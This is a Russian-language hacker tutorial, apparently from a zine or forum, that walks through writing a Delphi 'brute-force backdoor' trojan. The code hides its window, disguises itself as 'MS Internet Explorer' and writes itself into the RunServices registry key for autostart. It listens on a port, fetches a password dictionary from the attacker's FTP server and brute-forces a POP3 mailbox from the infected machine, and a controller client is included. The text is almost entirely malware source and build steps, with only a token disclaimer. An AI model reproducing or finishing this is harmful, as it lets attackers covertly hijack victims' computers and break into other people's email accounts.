Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде.
Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами.
Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер.
Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms.
Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор.
Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере).
Сначала напишем само ядро бэк-дора:
Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки:

Application.Title:='MS Internet Explorer';
// Назначается заголовок любых окон появившихся от твоего бэк-дора
// Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1
// или что-то типа того.
// Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer
// Ничем не насторожит J
// Затем прописываемся в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);

// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE',  Application.ExeName);
RegIni.Free;
// Делаем сокет активным
ServerSocket1.Active:=true;

Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки:

var
RegIni:TRegIniFile;
Затем у ServerSocket1 создай обработчик события OnClientRead  и над begin и end напиши:
var
command:String; // обьявляем переменную command строкового типа

Затем между begin и end напиши следующий код:

// Указываем что переменная command это текст полученный из сокетов.
command:=Socket.ReceiveText;
// Указываем что делать если пришёл текст upload
if command='upload' then
begin
// Компонент NMFTP1 пытается соединится с сервером
// который ему указал ты
// кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес
// или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка
// вызвана MS Internet Explorer J и мало чего заподозрит J
NMFTP1.Connect;
// Если компонент NMFTP1 подключился то
if NMFTP1.Connected then
begin
// закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера
// и сохраняем его под тем же именем под каким и скачали
// Первый параметр – это имя скачиваемого файла, а второй параметр указывает
// Под каким именем сохранить скаченный файл
// Сохранение происходит в той же папке где лежит трой
NMFTP1.Download('dictionary.txt','dictionary.txt');
end;
end;
// Если пришло слово brute то активировать форму BruteForm
if command='brute' then
begin
// собственно, активируется форма BruteForm
Application.CreateForm(TBruteForm, BruteForm);
end;

Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код:

Var
// Создаём переменную PassStrings типа TStrings;
PassStrings:TStrings;
// Создаём переменную j числового типа.
j:Integer;
Между Begin и End; пишем:
PassStrings:=TStringList.Create;
Try
// Пытаемся загрузить файл dictionary.txt
PassStrings.LoadFromFile('dictionary.txt');
Except
// если файл загрузить не удалось то останавливаем работу программы
exit;
// ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!
end;
// Начинаем цикл от 0 до кол-ва строк в словаре - 1
for j:=0 to PassStrings.Count-1 do
begin
//Присваиваем пароль из строки с номером j
IdPOP.Password := PassStrings.Strings[j];
Try
//Пытаемся коннектится
IdPOP.Connect
Except
// Если соединится не удалось (не правильный пароль) то ничего не делаем,
// Цикл повторяется пытаясь зайти под следующим, в файле, паролем
end;
// Если коннект удался (пароль подобран)
if IdPOP.Connected then
begin
  ///////////////////////////////////////////////////////////////////
// Тут пишите свой код с помощью которого вам с
ообщится что пароль подобран///
////////////////////////////////////////////////////////////////////
// Отключаемся
IdPOP.Disconnect;
// Останавливаем программу
exit;
end;
end;

Для того чтобы окно программы было невидимо зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:

var
WhEvent:THandle;
begin
  Application.Initialize;
  ShowWindow(Application.Handle, SW_HIDE);
  Form1:=TForm1.Create(nil);
  Application.Run;
  WhEvent:=CreateEvent(nil, true, false, 'et');
  while (true) do
   begin
   WaitForSingleObject(WhEvent,1000);
   Application.ProcessMessages;
   end;
end.

Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь.
Теперь давай напишем клиент к нашей пакости J.
Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2.
В свойстве port – напиши порт твоего бэкдора.
Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute)
В OnClick первой кнопки напиши:

// Указываем IP жертвы(IP вводим в поле Edit1)
ClientSocket1.host:=Edit1.Text;
ClientSocket1.Active:=true;
// Отправляем команду upload
ClientSocket1.SendReceiveText(‘upload’);

Тоже самое пишем в OnClick второй кнопки, только команда brute , а не upload.
Вот вообщем и всё что я хотел тебе сегодня рассказать, программа имеет множество недоработок и неудобств (например то что подбирать можно только к прописанному, в проге, ящику) но если поломать голову то можно всё подправить и переделать и под ftp брут и под imap и т.д. Удачи!